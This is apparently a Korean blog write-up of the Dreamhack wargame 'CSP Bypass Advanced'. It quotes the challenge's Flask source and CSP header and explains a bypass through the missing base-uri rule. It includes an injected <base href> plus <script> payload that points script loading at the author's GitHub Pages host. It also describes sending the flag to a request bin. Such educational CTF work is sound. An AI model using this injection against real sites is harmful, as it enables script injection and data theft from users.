security/웹해킹

[Dreamhack Wargame] CSP Bypass Advanced

민사민서 2023. 7. 3. 18:52

소스코드 분석

# 이 부분 패치됐네, html을 렌더링한다
# 따라서 <script src=""></script>에 src로 넣질 못한다! SyntaxError 발생 (html 파일의 첫 줄 <!doctype html>부터 해석하지 못함)
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)

- vuln.html을 렌더링해서 리턴한다

- 직전 'CSP Bypass'에서처럼 script 태그의 source로 /vuln 페이지를 건네주면 에러 발생

// /vuln은 렌더링 완료된 vuln.html을 리턴하는데, <!doctype html> 첫 줄부터 JS로 해석하지 못해 에러 발생

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

- 여전히 nonce 값 알아내기는 불가능하고, script는 self origin / nonce 존재하네

- base-uri 'none' 정책이 없다!!!

 

문제 분석

감이 안 잡혀서 댓글들을 살펴봤는데, 개인 서버가 필요하다고 하더라

base 태그를 이용해 경로가 해석되는 기준점을 내 개인서버로 바꾸고, script 파일을 내 서버에 업로드하면 되겠다

 

개인서버 어떻게 구축?

마침 웹서버 공부하다가 깃헙 페이지 만들어놓은게 생각났다.

Github에서 '[username].github.io' 이름의 레포지토리를 생성할 경우 해당 레포지토리는 https://[username].github.io 라는 URL로 접근할 수 있는 웹사이트를 호스팅하는데 사용된다

=> 즉 https://minseo25.github.io/ 라는 개인 서버를 사용할 수 있음!!

 

시도1: 개인서버 아래 tmp.js 파일 만들어놓고 src로 추가

<base href="https://minseo25.github.io/"><script src="/tmp.js"></script>

- 하지만 /vuln과 minseo25.github.io/tmp.js가 동일 origin이 아니므로 스크립트 파일 로드에 실패했다.

- 그렇다고 nonce 값을 알아낼수도 없는 상황

에러메시지를 보고 감이 왔다

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js" nonce=a9becc2ef47cd00d1a654bd308df0524></script>
    <script src="/static/js/bootstrap.min.js" nonce=a9becc2ef47cd00d1a654bd308df0524></script> 
</body>
</html>

위 코드는 vuln.html 마지막 부분인데 <base href=""> 덕분에 script src의 경로가 다르게 해석된다

시도 2: 내 개인서버에 /static/js/ 폴더를 생성하고 jquery.min.js or bootstrap.min.js 파일 생성한 후

뭐 이런 식으로 내용을 채워 request bin으로 GET 요청을 보내면

 

 

이렇게 플래그가 획득된다!

 

base-uri 세팅... 주의하자!!